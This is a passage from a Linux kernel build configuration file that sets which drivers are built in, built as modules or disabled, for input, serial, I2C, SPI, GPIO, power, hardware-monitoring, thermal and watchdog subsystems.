CONFIG_TOUCHSCREEN_TPS6507X=m
# CONFIG_TOUCHSCREEN_ZFORCE is not set
CONFIG_TOUCHSCREEN_ROHM_BU21023=m
CONFIG_INPUT_MISC=y
CONFIG_INPUT_88PM860X_ONKEY=m
CONFIG_INPUT_88PM80X_ONKEY=m
# CONFIG_INPUT_AD714X is not set
CONFIG_INPUT_ATMEL_CAPTOUCH=m
CONFIG_INPUT_BMA150=y
# CONFIG_INPUT_E3X0_BUTTON is not set
CONFIG_INPUT_PCSPKR=y
CONFIG_INPUT_MAX8997_HAPTIC=y
# CONFIG_INPUT_MC13783_PWRBUTTON is not set
CONFIG_INPUT_MMA8450=y
# CONFIG_INPUT_MPU3050 is not set
CONFIG_INPUT_APANEL=y
CONFIG_INPUT_GP2A=y
CONFIG_INPUT_GPIO_BEEPER=m
CONFIG_INPUT_GPIO_TILT_POLLED=m
CONFIG_INPUT_GPIO_DECODER=m
CONFIG_INPUT_WISTRON_BTNS=y
# CONFIG_INPUT_ATLAS_BTNS is not set
CONFIG_INPUT_ATI_REMOTE2=y
CONFIG_INPUT_KEYSPAN_REMOTE=m
CONFIG_INPUT_KXTJ9=m
CONFIG_INPUT_KXTJ9_POLLED_MODE=y
# CONFIG_INPUT_POWERMATE is not set
CONFIG_INPUT_YEALINK=m
# CONFIG_INPUT_CM109 is not set
# CONFIG_INPUT_REGULATOR_HAPTIC is not set
# CONFIG_INPUT_TPS65218_PWRBUTTON is not set
CONFIG_INPUT_AXP20X_PEK=y
CONFIG_INPUT_TWL6040_VIBRA=y
# CONFIG_INPUT_UINPUT is not set
CONFIG_INPUT_PALMAS_PWRBUTTON=y
CONFIG_INPUT_PCF50633_PMU=m
# CONFIG_INPUT_PCF8574 is not set
CONFIG_INPUT_PWM_BEEPER=y
# CONFIG_INPUT_GPIO_ROTARY_ENCODER is not set
# CONFIG_INPUT_DA9052_ONKEY is not set
# CONFIG_INPUT_DA9063_ONKEY is not set
CONFIG_INPUT_PCAP=y
CONFIG_INPUT_ADXL34X=m
CONFIG_INPUT_ADXL34X_I2C=m
# CONFIG_INPUT_ADXL34X_SPI is not set
# CONFIG_INPUT_IMS_PCU is not set
CONFIG_INPUT_CMA3000=m
CONFIG_INPUT_CMA3000_I2C=m
# CONFIG_INPUT_IDEAPAD_SLIDEBAR is not set
# CONFIG_INPUT_DRV260X_HAPTICS is not set
CONFIG_INPUT_DRV2665_HAPTICS=y
CONFIG_INPUT_DRV2667_HAPTICS=y
CONFIG_RMI4_CORE=y
CONFIG_RMI4_I2C=y
# CONFIG_RMI4_SPI is not set
# CONFIG_RMI4_SMB is not set
CONFIG_RMI4_F03=y
# CONFIG_RMI4_F11 is not set
# CONFIG_RMI4_F12 is not set
CONFIG_RMI4_F30=y
# CONFIG_RMI4_F34 is not set
# CONFIG_RMI4_F54 is not set
CONFIG_RMI4_F55=y

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_ARCH_MIGHT_HAVE_PC_SERIO=y
CONFIG_SERIO_I8042=y
CONFIG_SERIO_SERPORT=m
# CONFIG_SERIO_CT82C710 is not set
CONFIG_SERIO_PCIPS2=y
CONFIG_SERIO_LIBPS2=y
# CONFIG_SERIO_RAW is not set
CONFIG_SERIO_ALTERA_PS2=y
CONFIG_SERIO_PS2MULT=m
# CONFIG_SERIO_ARC_PS2 is not set
CONFIG_SERIO_APBPS2=m
CONFIG_HYPERV_KEYBOARD=m
CONFIG_USERIO=y
CONFIG_GAMEPORT=y
CONFIG_GAMEPORT_NS558=m
# CONFIG_GAMEPORT_L4 is not set
# CONFIG_GAMEPORT_EMU10K1 is not set
CONFIG_GAMEPORT_FM801=m

#
# Character devices
#
CONFIG_TTY=y
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
CONFIG_VT_HW_CONSOLE_BINDING=y
CONFIG_UNIX98_PTYS=y
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set
# CONFIG_N_GSM is not set
# CONFIG_TRACE_SINK is not set
CONFIG_DEVMEM=y
# CONFIG_DEVKMEM is not set

#
# Serial drivers
#
CONFIG_SERIAL_EARLYCON=y
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_DEPRECATED_OPTIONS=y
CONFIG_SERIAL_8250_PNP=y
CONFIG_SERIAL_8250_FINTEK=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_DMA=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_CS=m
CONFIG_SERIAL_8250_NR_UARTS=4
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
CONFIG_SERIAL_8250_RSA=y
# CONFIG_SERIAL_8250_FSL is not set
# CONFIG_SERIAL_8250_DW is not set
# CONFIG_SERIAL_8250_RT288X is not set
CONFIG_SERIAL_8250_LPSS=y
CONFIG_SERIAL_8250_MID=y
# CONFIG_SERIAL_8250_MOXA is not set
CONFIG_SERIAL_OF_PLATFORM=y

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MAX3100 is not set
CONFIG_SERIAL_MAX310X=m
CONFIG_SERIAL_UARTLITE=m
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
CONFIG_SERIAL_SCCNXP=m
# CONFIG_SERIAL_SC16IS7XX is not set
CONFIG_SERIAL_TIMBERDALE=y
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
CONFIG_SERIAL_ALTERA_UART=m
CONFIG_SERIAL_ALTERA_UART_MAXPORTS=4
CONFIG_SERIAL_ALTERA_UART_BAUDRATE=115200
CONFIG_SERIAL_IFX6X60=y
CONFIG_SERIAL_PCH_UART=m
CONFIG_SERIAL_XILINX_PS_UART=y
CONFIG_SERIAL_XILINX_PS_UART_CONSOLE=y
# CONFIG_SERIAL_ARC is not set
CONFIG_SERIAL_RP2=y
CONFIG_SERIAL_RP2_NR_UARTS=32
CONFIG_SERIAL_FSL_LPUART=m
CONFIG_SERIAL_CONEXANT_DIGICOLOR=m
# CONFIG_SERIAL_MEN_Z135 is not set
CONFIG_HVC_DRIVER=y
# CONFIG_IPMI_HANDLER is not set
# CONFIG_HW_RANDOM is not set
CONFIG_NVRAM=m
CONFIG_R3964=m
CONFIG_APPLICOM=m
CONFIG_SONYPI=y

#
# PCMCIA character devices
#
CONFIG_SYNCLINK_CS=m
CONFIG_CARDMAN_4000=m
# CONFIG_CARDMAN_4040 is not set
CONFIG_SCR24X=m
# CONFIG_IPWIRELESS is not set
CONFIG_MWAVE=y
CONFIG_PC8736x_GPIO=m
CONFIG_NSC_GPIO=y
CONFIG_RAW_DRIVER=m
CONFIG_MAX_RAW_DEVS=256
# CONFIG_HPET is not set
CONFIG_HANGCHECK_TIMER=y
CONFIG_TCG_TPM=m
CONFIG_TCG_TIS_CORE=m
CONFIG_TCG_TIS=m
CONFIG_TCG_TIS_SPI=m
# CONFIG_TCG_TIS_I2C_ATMEL is not set
CONFIG_TCG_TIS_I2C_INFINEON=m
CONFIG_TCG_TIS_I2C_NUVOTON=m
CONFIG_TCG_NSC=m
CONFIG_TCG_ATMEL=m
# CONFIG_TCG_INFINEON is not set
CONFIG_TCG_CRB=m
# CONFIG_TCG_VTPM_PROXY is not set
CONFIG_TCG_TIS_ST33ZP24=m
CONFIG_TCG_TIS_ST33ZP24_I2C=m
CONFIG_TCG_TIS_ST33ZP24_SPI=m
CONFIG_TELCLOCK=y
CONFIG_DEVPORT=y
CONFIG_XILLYBUS=m
# CONFIG_XILLYBUS_PCIE is not set
CONFIG_XILLYBUS_OF=m

#
# I2C support
#
CONFIG_I2C=y
CONFIG_ACPI_I2C_OPREGION=y
CONFIG_I2C_BOARDINFO=y
CONFIG_I2C_COMPAT=y
CONFIG_I2C_CHARDEV=m
CONFIG_I2C_MUX=y

#
# Multiplexer I2C Chip support
#
CONFIG_I2C_ARB_GPIO_CHALLENGE=m
CONFIG_I2C_MUX_GPIO=m
# CONFIG_I2C_MUX_PCA9541 is not set
CONFIG_I2C_MUX_PCA954x=y
CONFIG_I2C_MUX_REG=m
# CONFIG_I2C_MUX_MLXCPLD is not set
CONFIG_I2C_HELPER_AUTO=y
CONFIG_I2C_SMBUS=y
CONFIG_I2C_ALGOBIT=y

#
# I2C Hardware Bus support
#

#
# PC SMBus host controller drivers
#
CONFIG_I2C_ALI1535=m
# CONFIG_I2C_ALI1563 is not set
CONFIG_I2C_ALI15X3=y
CONFIG_I2C_AMD756=m
CONFIG_I2C_AMD756_S4882=m
CONFIG_I2C_AMD8111=m
CONFIG_I2C_I801=m
# CONFIG_I2C_ISCH is not set
CONFIG_I2C_ISMT=y
# CONFIG_I2C_PIIX4 is not set
# CONFIG_I2C_NFORCE2 is not set
CONFIG_I2C_SIS5595=y
CONFIG_I2C_SIS630=m
# CONFIG_I2C_SIS96X is not set
# CONFIG_I2C_VIA is not set
# CONFIG_I2C_VIAPRO is not set

#
# ACPI drivers
#
CONFIG_I2C_SCMI=m

#
# I2C system bus drivers (mostly embedded / system-on-chip)
#
# CONFIG_I2C_CBUS_GPIO is not set
CONFIG_I2C_DESIGNWARE_CORE=m
# CONFIG_I2C_DESIGNWARE_PLATFORM is not set
CONFIG_I2C_DESIGNWARE_PCI=m
CONFIG_I2C_EG20T=m
# CONFIG_I2C_EMEV2 is not set
CONFIG_I2C_GPIO=m
CONFIG_I2C_KEMPLD=m
CONFIG_I2C_OCORES=y
# CONFIG_I2C_PCA_PLATFORM is not set
CONFIG_I2C_PXA=y
CONFIG_I2C_PXA_PCI=y
# CONFIG_I2C_RK3X is not set
CONFIG_I2C_SIMTEC=m
CONFIG_I2C_XILINX=y

#
# External I2C/SMBus adapter drivers
#
CONFIG_I2C_DIOLAN_U2C=m
CONFIG_I2C_DLN2=y
CONFIG_I2C_PARPORT_LIGHT=y
CONFIG_I2C_ROBOTFUZZ_OSIF=m
# CONFIG_I2C_TAOS_EVM is not set
CONFIG_I2C_TINY_USB=m
# CONFIG_I2C_VIPERBOARD is not set

#
# Other I2C/SMBus bus drivers
#
CONFIG_I2C_CROS_EC_TUNNEL=m
CONFIG_SCx200_ACB=m
CONFIG_I2C_STUB=m
CONFIG_I2C_SLAVE=y
CONFIG_I2C_SLAVE_EEPROM=m
# CONFIG_I2C_DEBUG_CORE is not set
# CONFIG_I2C_DEBUG_ALGO is not set
# CONFIG_I2C_DEBUG_BUS is not set
CONFIG_SPI=y
CONFIG_SPI_DEBUG=y
CONFIG_SPI_MASTER=y

#
# SPI Master Controller Drivers
#
# CONFIG_SPI_ALTERA is not set
# CONFIG_SPI_AXI_SPI_ENGINE is not set
CONFIG_SPI_BITBANG=y
CONFIG_SPI_CADENCE=y
CONFIG_SPI_DESIGNWARE=y
# CONFIG_SPI_DW_PCI is not set
CONFIG_SPI_DW_MMIO=y
# CONFIG_SPI_DLN2 is not set
# CONFIG_SPI_GPIO is not set
# CONFIG_SPI_FSL_SPI is not set
CONFIG_SPI_OC_TINY=y
# CONFIG_SPI_PXA2XX is not set
# CONFIG_SPI_PXA2XX_PCI is not set
# CONFIG_SPI_ROCKCHIP is not set
CONFIG_SPI_SC18IS602=y
# CONFIG_SPI_TOPCLIFF_PCH is not set
CONFIG_SPI_XCOMM=y
CONFIG_SPI_XILINX=y
# CONFIG_SPI_ZYNQMP_GQSPI is not set

#
# SPI Protocol Masters
#
CONFIG_SPI_SPIDEV=m
CONFIG_SPI_LOOPBACK_TEST=m
# CONFIG_SPI_TLE62X0 is not set
CONFIG_SPMI=y
# CONFIG_HSI is not set

#
# PPS support
#
CONFIG_PPS=m
# CONFIG_PPS_DEBUG is not set
CONFIG_NTP_PPS=y

#
# PPS clients support
#
CONFIG_PPS_CLIENT_KTIMER=m
CONFIG_PPS_CLIENT_LDISC=m
CONFIG_PPS_CLIENT_GPIO=m

#
# PPS generators support
#

#
# PTP clock support
#
# CONFIG_PTP_1588_CLOCK is not set
# CONFIG_PTP_1588_CLOCK_PCH is not set
CONFIG_GPIOLIB=y
CONFIG_OF_GPIO=y
CONFIG_GPIO_ACPI=y
CONFIG_GPIOLIB_IRQCHIP=y
CONFIG_DEBUG_GPIO=y
CONFIG_GPIO_SYSFS=y
CONFIG_GPIO_GENERIC=y
CONFIG_GPIO_MAX730X=m

#
# Memory mapped GPIO drivers
#
CONFIG_GPIO_74XX_MMIO=y
# CONFIG_GPIO_ALTERA is not set
CONFIG_GPIO_AMDPT=m
CONFIG_GPIO_AXP209=y
CONFIG_GPIO_DWAPB=y
# CONFIG_GPIO_GENERIC_PLATFORM is not set
CONFIG_GPIO_GRGPIO=m
CONFIG_GPIO_ICH=m
CONFIG_GPIO_LYNXPOINT=y
CONFIG_GPIO_MENZ127=m
CONFIG_GPIO_MOCKUP=m
CONFIG_GPIO_SYSCON=y
CONFIG_GPIO_VX855=y
# CONFIG_GPIO_XILINX is not set

#
# Port-mapped I/O GPIO drivers
#
# CONFIG_GPIO_F7188X is not set
CONFIG_GPIO_IT87=m
# CONFIG_GPIO_SCH is not set
# CONFIG_GPIO_SCH311X is not set

#
# I2C GPIO expanders
#
CONFIG_GPIO_ADP5588=y
# CONFIG_GPIO_ADP5588_IRQ is not set
CONFIG_GPIO_ADNP=y
CONFIG_GPIO_MAX7300=m
CONFIG_GPIO_MAX732X=y
CONFIG_GPIO_MAX732X_IRQ=y
CONFIG_GPIO_PCA953X=m
# CONFIG_GPIO_PCF857X is not set
# CONFIG_GPIO_TPIC2810 is not set

#
# MFD GPIO expanders
#
CONFIG_GPIO_ADP5520=m
CONFIG_GPIO_ARIZONA=y
CONFIG_GPIO_DA9052=y
CONFIG_GPIO_DLN2=y
CONFIG_GPIO_KEMPLD=m
CONFIG_GPIO_LP3943=m
CONFIG_GPIO_MAX77620=y
CONFIG_GPIO_PALMAS=y
# CONFIG_GPIO_STMPE is not set
CONFIG_GPIO_TIMBERDALE=y
# CONFIG_GPIO_TPS65218 is not set
CONFIG_GPIO_TPS6586X=y
CONFIG_GPIO_TPS65910=y
CONFIG_GPIO_TPS65912=m
CONFIG_GPIO_TWL6040=y
CONFIG_GPIO_UCB1400=m
# CONFIG_GPIO_WM8350 is not set
# CONFIG_GPIO_WM8994 is not set

#
# PCI GPIO expanders
#
# CONFIG_GPIO_AMD8111 is not set
# CONFIG_GPIO_BT8XX is not set
# CONFIG_GPIO_ML_IOH is not set
CONFIG_GPIO_PCH=y
# CONFIG_GPIO_RDC321X is not set
CONFIG_GPIO_SODAVILLE=y

#
# SPI GPIO expanders
#
CONFIG_GPIO_74X164=y
# CONFIG_GPIO_MAX7301 is not set
# CONFIG_GPIO_MC33880 is not set
CONFIG_GPIO_PISOSR=y

#
# SPI or I2C GPIO expanders
#
CONFIG_GPIO_MCP23S08=y

#
# USB GPIO expanders
#
# CONFIG_GPIO_VIPERBOARD is not set
CONFIG_W1=m
CONFIG_W1_CON=y

#
# 1-wire Bus Masters
#
CONFIG_W1_MASTER_MATROX=m
# CONFIG_W1_MASTER_DS2490 is not set
CONFIG_W1_MASTER_DS2482=m
CONFIG_W1_MASTER_DS1WM=m
CONFIG_W1_MASTER_GPIO=m

#
# 1-wire Slaves
#
CONFIG_W1_SLAVE_THERM=m
CONFIG_W1_SLAVE_SMEM=m
# CONFIG_W1_SLAVE_DS2408 is not set
CONFIG_W1_SLAVE_DS2413=m
CONFIG_W1_SLAVE_DS2406=m
CONFIG_W1_SLAVE_DS2423=m
CONFIG_W1_SLAVE_DS2431=m
CONFIG_W1_SLAVE_DS2433=m
CONFIG_W1_SLAVE_DS2433_CRC=y
# CONFIG_W1_SLAVE_DS2760 is not set
CONFIG_W1_SLAVE_DS2780=m
CONFIG_W1_SLAVE_DS2781=m
CONFIG_W1_SLAVE_DS28E04=m
CONFIG_W1_SLAVE_BQ27000=m
CONFIG_POWER_AVS=y
CONFIG_POWER_RESET=y
# CONFIG_POWER_RESET_GPIO is not set
# CONFIG_POWER_RESET_GPIO_RESTART is not set
CONFIG_POWER_RESET_LTC2952=y
# CONFIG_POWER_RESET_RESTART is not set
# CONFIG_POWER_RESET_SYSCON is not set
# CONFIG_POWER_RESET_SYSCON_POWEROFF is not set
CONFIG_REBOOT_MODE=m
CONFIG_SYSCON_REBOOT_MODE=m
CONFIG_POWER_SUPPLY=y
# CONFIG_POWER_SUPPLY_DEBUG is not set
CONFIG_PDA_POWER=m
CONFIG_GENERIC_ADC_BATTERY=m
CONFIG_WM8350_POWER=m
CONFIG_TEST_POWER=m
CONFIG_BATTERY_88PM860X=y
# CONFIG_BATTERY_ACT8945A is not set
CONFIG_BATTERY_DS2780=m
CONFIG_BATTERY_DS2781=m
CONFIG_BATTERY_DS2782=m
CONFIG_BATTERY_SBS=m
# CONFIG_BATTERY_BQ27XXX is not set
CONFIG_BATTERY_DA9052=m
CONFIG_BATTERY_DA9150=m
CONFIG_AXP288_CHARGER=m
# CONFIG_AXP288_FUEL_GAUGE is not set
CONFIG_BATTERY_MAX17040=m
CONFIG_BATTERY_MAX17042=m
CONFIG_CHARGER_88PM860X=y
CONFIG_CHARGER_PCF50633=m
CONFIG_CHARGER_ISP1704=y
CONFIG_CHARGER_MAX8903=y
CONFIG_CHARGER_LP8727=y
# CONFIG_CHARGER_GPIO is not set
# CONFIG_CHARGER_MANAGER is not set
CONFIG_CHARGER_MAX14577=m
# CONFIG_CHARGER_MAX8998 is not set
CONFIG_CHARGER_BQ2415X=y
# CONFIG_CHARGER_BQ24190 is not set
CONFIG_CHARGER_BQ24257=m
# CONFIG_CHARGER_BQ24735 is not set
CONFIG_CHARGER_BQ25890=y
# CONFIG_CHARGER_SMB347 is not set
CONFIG_CHARGER_TPS65090=y
CONFIG_BATTERY_GAUGE_LTC2941=m
CONFIG_BATTERY_RT5033=y
CONFIG_CHARGER_RT9455=y
CONFIG_AXP20X_POWER=m
CONFIG_HWMON=y
CONFIG_HWMON_VID=y
# CONFIG_HWMON_DEBUG_CHIP is not set

#
# Native drivers
#
# CONFIG_SENSORS_ABITUGURU is not set
# CONFIG_SENSORS_ABITUGURU3 is not set
CONFIG_SENSORS_AD7314=m
# CONFIG_SENSORS_AD7414 is not set
# CONFIG_SENSORS_AD7418 is not set
CONFIG_SENSORS_ADM1021=m
CONFIG_SENSORS_ADM1025=y
CONFIG_SENSORS_ADM1026=m
CONFIG_SENSORS_ADM1029=y
CONFIG_SENSORS_ADM1031=y
# CONFIG_SENSORS_ADM9240 is not set
CONFIG_SENSORS_ADT7X10=m
CONFIG_SENSORS_ADT7310=m
CONFIG_SENSORS_ADT7410=m
CONFIG_SENSORS_ADT7411=y
# CONFIG_SENSORS_ADT7462 is not set
CONFIG_SENSORS_ADT7470=m
# CONFIG_SENSORS_ADT7475 is not set
CONFIG_SENSORS_ASC7621=y
# CONFIG_SENSORS_K8TEMP is not set
CONFIG_SENSORS_K10TEMP=y
CONFIG_SENSORS_FAM15H_POWER=m
# CONFIG_SENSORS_APPLESMC is not set
CONFIG_SENSORS_ASB100=y
# CONFIG_SENSORS_ATXP1 is not set
# CONFIG_SENSORS_DS620 is not set
# CONFIG_SENSORS_DS1621 is not set
CONFIG_SENSORS_DELL_SMM=y
CONFIG_SENSORS_DA9052_ADC=y
CONFIG_SENSORS_I5K_AMB=m
CONFIG_SENSORS_F71805F=y
CONFIG_SENSORS_F71882FG=m
CONFIG_SENSORS_F75375S=y
# CONFIG_SENSORS_MC13783_ADC is not set
CONFIG_SENSORS_FSCHMD=y
CONFIG_SENSORS_FTSTEUTATES=y
CONFIG_SENSORS_GL518SM=m
CONFIG_SENSORS_GL520SM=y
CONFIG_SENSORS_G760A=m
CONFIG_SENSORS_G762=y
CONFIG_SENSORS_GPIO_FAN=m
CONFIG_SENSORS_HIH6130=m
CONFIG_SENSORS_IIO_HWMON=m
CONFIG_SENSORS_I5500=y
# CONFIG_SENSORS_CORETEMP is not set
CONFIG_SENSORS_IT87=m
# CONFIG_SENSORS_JC42 is not set
# CONFIG_SENSORS_POWR1220 is not set
CONFIG_SENSORS_LINEAGE=y
CONFIG_SENSORS_LTC2945=m
# CONFIG_SENSORS_LTC2990 is not set
CONFIG_SENSORS_LTC4151=y
# CONFIG_SENSORS_LTC4215 is not set
# CONFIG_SENSORS_LTC4222 is not set
CONFIG_SENSORS_LTC4245=m
CONFIG_SENSORS_LTC4260=m
# CONFIG_SENSORS_LTC4261 is not set
# CONFIG_SENSORS_MAX1111 is not set
# CONFIG_SENSORS_MAX16065 is not set
CONFIG_SENSORS_MAX1619=m
CONFIG_SENSORS_MAX1668=m
CONFIG_SENSORS_MAX197=y
CONFIG_SENSORS_MAX31722=m
CONFIG_SENSORS_MAX6639=m
CONFIG_SENSORS_MAX6642=m
# CONFIG_SENSORS_MAX6650 is not set
# CONFIG_SENSORS_MAX6697 is not set
# CONFIG_SENSORS_MAX31790 is not set
CONFIG_SENSORS_MCP3021=y
CONFIG_SENSORS_TC654=y
# CONFIG_SENSORS_MENF21BMC_HWMON is not set
CONFIG_SENSORS_ADCXX=y
CONFIG_SENSORS_LM63=y
CONFIG_SENSORS_LM70=m
# CONFIG_SENSORS_LM73 is not set
CONFIG_SENSORS_LM75=m
CONFIG_SENSORS_LM77=y
CONFIG_SENSORS_LM78=m
CONFIG_SENSORS_LM80=m
# CONFIG_SENSORS_LM83 is not set
CONFIG_SENSORS_LM85=y
# CONFIG_SENSORS_LM87 is not set
CONFIG_SENSORS_LM90=y
# CONFIG_SENSORS_LM92 is not set
# CONFIG_SENSORS_LM93 is not set
CONFIG_SENSORS_LM95234=y
CONFIG_SENSORS_LM95241=m
CONFIG_SENSORS_LM95245=m
CONFIG_SENSORS_PC87360=y
# CONFIG_SENSORS_PC87427 is not set
CONFIG_SENSORS_NTC_THERMISTOR=m
# CONFIG_SENSORS_NCT6683 is not set
# CONFIG_SENSORS_NCT6775 is not set
CONFIG_SENSORS_NCT7802=y
CONFIG_SENSORS_NCT7904=m
# CONFIG_SENSORS_PCF8591 is not set
CONFIG_PMBUS=y
# CONFIG_SENSORS_PMBUS is not set
# CONFIG_SENSORS_ADM1275 is not set
CONFIG_SENSORS_LM25066=m
CONFIG_SENSORS_LTC2978=y
CONFIG_SENSORS_LTC2978_REGULATOR=y
CONFIG_SENSORS_LTC3815=m
CONFIG_SENSORS_MAX16064=m
# CONFIG_SENSORS_MAX20751 is not set
CONFIG_SENSORS_MAX34440=y
# CONFIG_SENSORS_MAX8688 is not set
CONFIG_SENSORS_TPS40422=y
CONFIG_SENSORS_UCD9000=m
# CONFIG_SENSORS_UCD9200 is not set
CONFIG_SENSORS_ZL6100=y
# CONFIG_SENSORS_PWM_FAN is not set
CONFIG_SENSORS_SHT15=m
# CONFIG_SENSORS_SHT21 is not set
CONFIG_SENSORS_SHT3x=y
CONFIG_SENSORS_SHTC1=m
CONFIG_SENSORS_SIS5595=m
# CONFIG_SENSORS_DME1737 is not set
# CONFIG_SENSORS_EMC1403 is not set
CONFIG_SENSORS_EMC2103=m
CONFIG_SENSORS_EMC6W201=y
CONFIG_SENSORS_SMSC47M1=m
# CONFIG_SENSORS_SMSC47M192 is not set
CONFIG_SENSORS_SMSC47B397=y
CONFIG_SENSORS_SCH56XX_COMMON=y
CONFIG_SENSORS_SCH5627=m
CONFIG_SENSORS_SCH5636=y
CONFIG_SENSORS_SMM665=y
# CONFIG_SENSORS_ADC128D818 is not set
CONFIG_SENSORS_ADS1015=m
CONFIG_SENSORS_ADS7828=m
CONFIG_SENSORS_ADS7871=m
CONFIG_SENSORS_AMC6821=y
# CONFIG_SENSORS_INA209 is not set
CONFIG_SENSORS_INA2XX=y
CONFIG_SENSORS_INA3221=y
CONFIG_SENSORS_TC74=m
CONFIG_SENSORS_THMC50=m
CONFIG_SENSORS_TMP102=m
CONFIG_SENSORS_TMP103=y
# CONFIG_SENSORS_TMP108 is not set
CONFIG_SENSORS_TMP401=y
CONFIG_SENSORS_TMP421=m
# CONFIG_SENSORS_VIA_CPUTEMP is not set
CONFIG_SENSORS_VIA686A=y
CONFIG_SENSORS_VT1211=y
# CONFIG_SENSORS_VT8231 is not set
# CONFIG_SENSORS_W83781D is not set
CONFIG_SENSORS_W83791D=y
CONFIG_SENSORS_W83792D=m
CONFIG_SENSORS_W83793=m
# CONFIG_SENSORS_W83795 is not set
# CONFIG_SENSORS_W83L785TS is not set
CONFIG_SENSORS_W83L786NG=m
CONFIG_SENSORS_W83627HF=y
# CONFIG_SENSORS_W83627EHF is not set
CONFIG_SENSORS_WM8350=y

#
# ACPI drivers
#
# CONFIG_SENSORS_ACPI_POWER is not set
CONFIG_SENSORS_ATK0110=m
CONFIG_THERMAL=y
# CONFIG_THERMAL_HWMON is not set
CONFIG_THERMAL_OF=y
# CONFIG_THERMAL_WRITABLE_TRIPS is not set
# CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE is not set
CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE=y
# CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set
# CONFIG_THERMAL_DEFAULT_GOV_POWER_ALLOCATOR is not set
CONFIG_THERMAL_GOV_FAIR_SHARE=y
# CONFIG_THERMAL_GOV_STEP_WISE is not set
CONFIG_THERMAL_GOV_BANG_BANG=y
CONFIG_THERMAL_GOV_USER_SPACE=y
CONFIG_THERMAL_GOV_POWER_ALLOCATOR=y
CONFIG_THERMAL_EMULATION=y
CONFIG_MAX77620_THERMAL=y
CONFIG_QORIQ_THERMAL=m
# CONFIG_INTEL_POWERCLAMP is not set
# CONFIG_INTEL_SOC_DTS_THERMAL is not set

#
# ACPI INT340X thermal drivers
#
# CONFIG_INT340X_THERMAL is not set
CONFIG_INTEL_PCH_THERMAL=m
# CONFIG_QCOM_SPMI_TEMP_ALARM is not set
# CONFIG_GENERIC_ADC_THERMAL is not set
CONFIG_WATCHDOG=y
CONFIG_WATCHDOG_CORE=y
# CONFIG_WATCHDOG_NOWAYOUT is not set
# CONFIG_WATCHDOG_SYSFS is not set

#
# Watchdog Device Drivers
#
# CONFIG_SOFT_WATCHDOG is not set
# CONFIG_DA9052_WATCHDOG is not set
# CONFIG_DA9062_WATCHDOG is not set
# CONFIG_GPIO_WATCHDOG is not set
CONFIG_MENF21BMC_WATCHDOG=m
# CONFIG_WDAT_WDT is not set
CONFIG_WM8350_WATCHDOG=y
# CONFIG_XILINX_WATCHDOG is not set
CONFIG_ZIIRAVE_WATCHDOG=m
CONFIG_CADENCE_WATCHDOG=y
# CONFIG_DW_WATCHDOG is not set
CONFIG_MAX63XX_WATCHDOG=m
# CONFIG_MAX77620_WATCHDOG is not set
CONFIG_ACQUIRE_WDT=m
# CONFIG_ADVANTECH_WDT is not set
CONFIG_ALIM1535_WDT=m
CONFIG_ALIM7101_WDT=m
CONFIG_F71808E_WDT=m
# CONFIG_SP5100_TCO is not set
CONFIG_SBC_FITPC2_WATCHDOG=m
# CONFIG_EUROTECH_WDT is not set
CONFIG_IB700_WDT=m
CONFIG_IBMASR=m
CONFIG_WAFER_WDT=m
CONFIG_I6300ESB_WDT=y
CONFIG_IE6XX_WDT=m
CONFIG_ITCO_WDT=m
CONFIG_ITCO_VENDOR_SUPPORT=y
# CONFIG_IT8712F_WDT is not set
CONFIG_IT87_WDT=m
CONFIG_HP_WATCHDOG=y
CONFIG_KEMPLD_WDT=m
CONFIG_HPWDT_NMI_DECODING=y
# CONFIG_SC1200_WDT is not set
CONFIG_PC87413_WDT=m
# CONFIG_NV_TCO is not set
CONFIG_60XX_WDT=y
# CONFIG_SBC8360_WDT is not set
# CONFIG_SBC7240_WDT is not set
# CONFIG_CPU5_WDT is not set
# CONFIG_SMSC_SCH311X_WDT is not set
# CONFIG_SMSC37B787_WDT is not set
# CONFIG_VIA_WDT is not set
# CONFIG_W83627HF_WDT is not set
# CONFIG_W83877F_WDT is not set
CONFIG_W83977F_WDT=m
CONFIG_MACHZ_WDT=y
CONFIG_SBC_EPX_C3_WATCHDOG=m
CONFIG_INTEL_MEI_WDT=m
CONFIG_NI903X_WDT=m
CONFIG_MEN_A21_WDT=m

#
# PCI-based Watchdog Cards
#
CONFIG_PCIPCWATCHDOG=y
CONFIG_WDTPCI=y

#
# USB-based Watchdog Cards
#
CONFIG_USBPCWATCHDOG=m

#
# Watchdog Pretimeout Governors
#
CONFIG_WATCHDOG_PRETIMEOUT_GOV=y
# CONFIG_WATCHDOG_PRETIMEOUT_DEFAULT_GOV_NOOP is not set
CONFIG_WATCHDOG_PRETIMEOUT_DEFAULT_GOV_PANIC=y
CONFIG_WATCHDOG_PRETIMEOUT_GOV_NOOP=m
CONFIG_WATCHDOG_PRETIMEOUT_GOV_PANIC=y
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
CONFIG_SSB=y
CONFIG_SSB_SPROM=y
CONFIG_SSB_PCIHOST_POSSIBLE=y
CONFIG_SSB_PCIHOST=y
# CONFIG_SSB_B43_PCI_BRIDGE is not set
CONFIG_SSB_SDIOHOST_POSSIBLE=y
CONFIG_SSB_SDIOHOST=y
CONFIG_SSB_DEBUG=y
CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
CONFIG_SSB_DRIVER_PCICORE=y
# CONFIG_SSB_DRIVER_GPIO is not set
CONFIG_BCMA_POSSIBLE=y

#
# Broadcom specific AMBA
#
CONFIG_BCMA=m
CONFIG_BCMA_HOST_PCI_POSSIBLE=y
